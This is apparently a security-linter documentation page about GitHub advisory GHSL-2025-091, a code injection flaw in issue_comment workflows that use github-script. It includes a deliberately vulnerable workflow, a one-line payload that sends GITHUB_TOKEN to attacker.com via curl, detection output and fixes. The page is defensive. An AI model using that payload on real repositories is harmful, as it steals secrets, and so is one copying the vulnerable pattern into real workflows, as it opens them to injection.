GHSL-2025-091: Code Injection via issue_comment in github-script #
Summary #
| Item | Value |
|---|---|
| Advisory ID | GHSL-2025-091 |
| Severity | Critical |
| Affected Component | ansys/pymapdl |
| CVE | N/A |
| CWE | CWE-94 (Improper Control of Generation of Code) |
| Reference | https://securitylab.github.com/advisories/GHSL-2025-091_ansys_pymapdl/ |
Vulnerability Description #
GHSL-2025-091 is a code injection vulnerability in GitHub Actions workflows that use the issue_comment trigger with actions/github-script. The vulnerability occurs when untrusted input from github.event.comment.body is directly interpolated into JavaScript template literals within the script parameter.
The issue_comment trigger is particularly dangerous because:
- It runs with repository write permissions and access to secrets
- It can be triggered by anyone who can comment on issues or pull requests
- The comment body is completely controlled by the attacker
Attack Vector #
sequenceDiagram
participant Attacker
participant Issue
participant Workflow
participant Secrets
Attacker->>Issue: Post comment with malicious JS payload
Note right of Attacker: Payload escapes template literal and executes arbitrary code
Issue->>Workflow: Trigger issue_comment event
Workflow->>Workflow: Interpolate comment.body in JS template literal
Workflow->>Secrets: Access repository secrets
Workflow->>Attacker: Exfiltrate secrets via malicious code
Vulnerable Code Pattern #
name: Vulnerable Migrator Workflow
on:
issue_comment:
types: [created]
permissions:
contents: write
pull-requests: write
jobs:
process-comment:
runs-on: ubuntu-latest
steps:
- uses: actions/github-script@v6
with:
github-token: ${{ secrets.GITHUB_TOKEN }}
script: |
// VULNERABLE: comment body directly interpolated in template literal
const commentBody = `${{ github.event.comment.body }}`;
// Also vulnerable: issue title
const issueTitle = `${{ github.event.issue.title }}`;
if (commentBody.includes('/migrate')) {
console.log('Migration requested');
}
Exploitation Example #
An attacker can post a comment like:
`; const { exec } = require('@actions/exec'); await exec.exec('curl', ['-d', process.env.GITHUB_TOKEN, 'https://attacker.com']); `
This escapes the template literal, executes arbitrary JavaScript code, and can:
- Steal repository secrets
- Modify repository contents
- Create backdoors in the codebase
- Pivot to other systems using stolen credentials
sisakulint Detection #
sisakulint detects this vulnerability with the code-injection-critical rule:
Detection Output #
script/actions/ghsl/ghsl-2025-091.yaml:31:40: code injection (critical):
"github.event.comment.body" is potentially untrusted and used in a workflow
with privileged triggers. Avoid using it directly in github-script. Instead,
pass it through an environment variable. [code-injection-critical]
script/actions/ghsl/ghsl-2025-091.yaml:34:39: code injection (critical):
"github.event.issue.title" is potentially untrusted and used in a workflow
with privileged triggers. Avoid using it directly in github-script. Instead,
pass it through an environment variable. [code-injection-critical]
Untrusted issue_comment Contexts #
| Context | Risk | Description |
|---|---|---|
github.event.comment.body | Critical | Comment content from any user |
github.event.issue.title | Critical | Issue title (can be modified by author) |
github.event.issue.body | Critical | Issue body (can be modified by author) |
github.event.sender.login | Medium | Username of commenter (spoofable in some contexts) |
Why issue_comment is Dangerous #
The issue_comment trigger creates a direct attack surface:
- Open Access: Anyone who can view an issue can comment on it
- Full Permissions: The workflow runs with repository permissions
- Secret Access: Secrets configured for the workflow are available
- No Sandboxing: Unlike
pull_request, there’s no fork isolation
This design allows attackers to:
- Execute arbitrary code with repository permissions
- Access all configured secrets
- Modify repository contents
- Create persistent backdoors
Remediation #
Option 1: Use Environment Variables (Recommended) #
- uses: actions/github-script@v6
env:
COMMENT_BODY: ${{ github.event.comment.body }}
ISSUE_TITLE: ${{ github.event.issue.title }}
with:
script: |
// SAFE: Access through process.env (automatically escaped)
const commentBody = process.env.COMMENT_BODY;
const issueTitle = process.env.ISSUE_TITLE;
if (commentBody.includes('/migrate')) {
console.log('Migration requested');
}
Option 2: Restrict Who Can Trigger #
jobs:
process-comment:
# Only process comments from collaborators
if: |
github.event.comment.author_association == 'OWNER' ||
github.event.comment.author_association == 'MEMBER' ||
github.event.comment.author_association == 'COLLABORATOR'
runs-on: ubuntu-latest
Option 3: Use Explicit Input Validation #
- uses: actions/github-script@v6
env:
COMMENT_BODY: ${{ github.event.comment.body }}
with:
script: |
const commentBody = process.env.COMMENT_BODY;
// Validate expected command format
const validCommands = ['/migrate', '/help', '/status'];
const command = commentBody.trim().split(' ')[0];
if (!validCommands.includes(command)) {
core.setFailed('Unknown command');
return;
}
Option 4: Minimize Permissions #
permissions:
contents: read # Read-only unless writes are required
issues: write # Only what's needed
Additional Security Considerations #
Avoid Processing Untrusted Input in Privileged Contexts #
If you must process untrusted input, consider:
- Running in a separate, unprivileged workflow
- Using a sandbox environment
- Implementing strict input validation
Use GitHub Apps with Limited Scopes #
Instead of GITHUB_TOKEN, use a GitHub App with minimal required permissions.
Audit All issue_comment Workflows #
Review all workflows triggered by issue_comment for similar patterns.
Auto-Fix Support #
sisakulint provides auto-fix for this vulnerability:
# Preview the fix
sisakulint -fix dry-run script/actions/ghsl/ghsl-2025-091.yaml
# Apply the fix
sisakulint -fix on script/actions/ghsl/ghsl-2025-091.yaml
The auto-fix will:
- Move untrusted expressions to environment variables
- Replace direct interpolation with
process.env.VAR_NAME
Test Files #
- Vulnerable pattern:
script/actions/ghsl/ghsl-2025-091.yaml